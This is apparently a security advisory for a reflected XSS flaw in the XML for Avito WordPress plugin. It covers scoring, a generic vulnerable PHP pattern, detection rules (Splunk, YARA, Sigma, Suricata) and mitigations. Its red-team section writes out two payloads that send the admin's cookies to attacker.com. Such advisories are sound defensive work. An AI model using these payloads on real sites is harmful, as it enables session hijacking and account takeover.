CVE-2025-24646

Executive Summary

CVE-2025-24646 is a reflected Cross-Site Scripting (XSS) vulnerability in the WordPress plugin XML for Avito by Icopydoc, affecting versions up to and including 2.5.2. This flaw allows an unauthenticated attacker to inject arbitrary JavaScript into a web page, which executes in the context of the victim’s browser. The vulnerability stems from improper neutralization of user-supplied input during web page generation. Given the plugin’s role in generating XML feeds for the Avito marketplace, exploitation could lead to session hijacking, credential theft, or defacement of the WordPress admin interface. No public proof-of-concept or patch is currently available.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to monitor the plugin’s update channel and apply any security patches immediately upon release. The plugin is not available via NPM, PyPI, Go, or Ruby ecosystems.

CVSS Breakdown & Threat Level

• CVSS Score: 7.1 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

The reflected XSS nature requires user interaction (e.g., clicking a crafted link), but the lack of authentication and low complexity make this a viable attack vector for phishing campaigns targeting WordPress administrators.

Deep Dive & Mechanics

The vulnerability exists in the xml-for-avito plugin’s handling of HTTP request parameters. When generating certain pages (likely admin-facing or error pages), the plugin directly reflects user-supplied input without proper sanitization or output encoding. An attacker can craft a malicious URL containing JavaScript payloads in query parameters. When a victim (typically an admin) visits this URL, the script executes in the context of the WordPress admin panel, potentially allowing the attacker to:

• Steal session cookies (if HttpOnly flag is missing)
• Perform actions on behalf of the admin (e.g., create new admin users)
• Inject malicious content into the site
• Redirect users to phishing pages

The plugin’s functionality involves generating XML feeds for Avito, which may include user-controlled data (e.g., product titles, descriptions). If these are not properly escaped, stored XSS could also be possible, but the CVE description specifically indicates reflected XSS.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code pattern is typical of reflected XSS in WordPress plugins:

Vulnerable (PHP):

<?php
// Directly echoing user input without sanitization
echo $_GET['search'];
?>

Patched (PHP):

<?php
// Using WordPress escaping functions
echo esc_html( $_GET['search'] );
?>

The plugin likely uses $_GET or $_POST parameters in admin pages or shortcode handlers without applying esc_html(), esc_attr(), or wp_kses().

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress instance with XML for Avito plugin <= 2.5.2
• Attacker-controlled server to capture exfiltrated data

Exploitation Steps:

1. Identify a vulnerable parameter (e.g., page, tab, or custom query var).
2. Craft a malicious URL:

   http://target/wp-admin/admin.php?page=xml-for-avito&search=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

3. Send the link to an authenticated admin via phishing email or social engineering.
4. When the admin clicks, the script executes and sends the session cookie to the attacker.

Example Payload (JavaScript):

<script>
var img = new Image();
img.src = 'https://attacker.com/log?data=' + document.cookie;
</script>

Blue Team

Detection:

• Monitor web server logs for unusual query parameters containing <script>, onerror, onload, or base64-encoded payloads.
• Use WAF rules to block reflected XSS patterns.
• Deploy Content Security Policy (CSP) headers to restrict inline script execution.

Hunting Query (Splunk):

index=web sourcetype=access_combined
| search uri_path="/wp-admin/admin.php" uri_query=*<script>*
| table _time, src_ip, uri_query, user_agent

Indicators of Compromise (IOCs)

• Network:
  • Outbound HTTP requests to attacker-controlled domains containing cookie data
  • Suspicious query parameters in wp-admin/admin.php with page=xml-for-avito
• Host:
  • Unexpected admin user creation
  • Modified plugin files (e.g., xml-for-avito.php)
• Logs:
  • Repeated 404 errors on non-existent plugin pages
  • Referer headers pointing to phishing domains

Detection Engineering

YARA Rule

rule CVE_2025_24646_XML_for_Avito_XSS {
    meta:
        description = "Detects reflected XSS attempts against XML for Avito plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-24646"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $plugin_path = "xml-for-avito"
    condition:
        $plugin_path and $xss_payload
}

Sigma Rule

title: Reflected XSS in XML for Avito Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with XSS payloads targeting the XML for Avito plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'page=xml-for-avito'
        cs-uri-query|re: '(<script|<img|onerror|onload)'
    condition: selection
falsepositives:
    - Legitimate use of script tags in admin pages (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-24646 - Reflected XSS in XML for Avito"; flow:to_server,established; content:"page=xml-for-avito"; http_uri; pcre:"/(<script|<img|onerror|onload)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Implement a Web Application Firewall (WAF) rule to block reflected XSS patterns.
3. Add CSP headers to the WordPress admin area:

   Header set Content-Security-Policy "default-src 'self'; script-src 'self';"
   

Long-term Fix:

• The vendor must release a patched version that sanitizes all user inputs using esc_html(), esc_attr(), or wp_kses().
• Users should update to the latest version once available.

Workaround:

• If the plugin is critical, restrict access to the admin panel via IP whitelisting or VPN.

Valters IT
Securing Digital Frontiers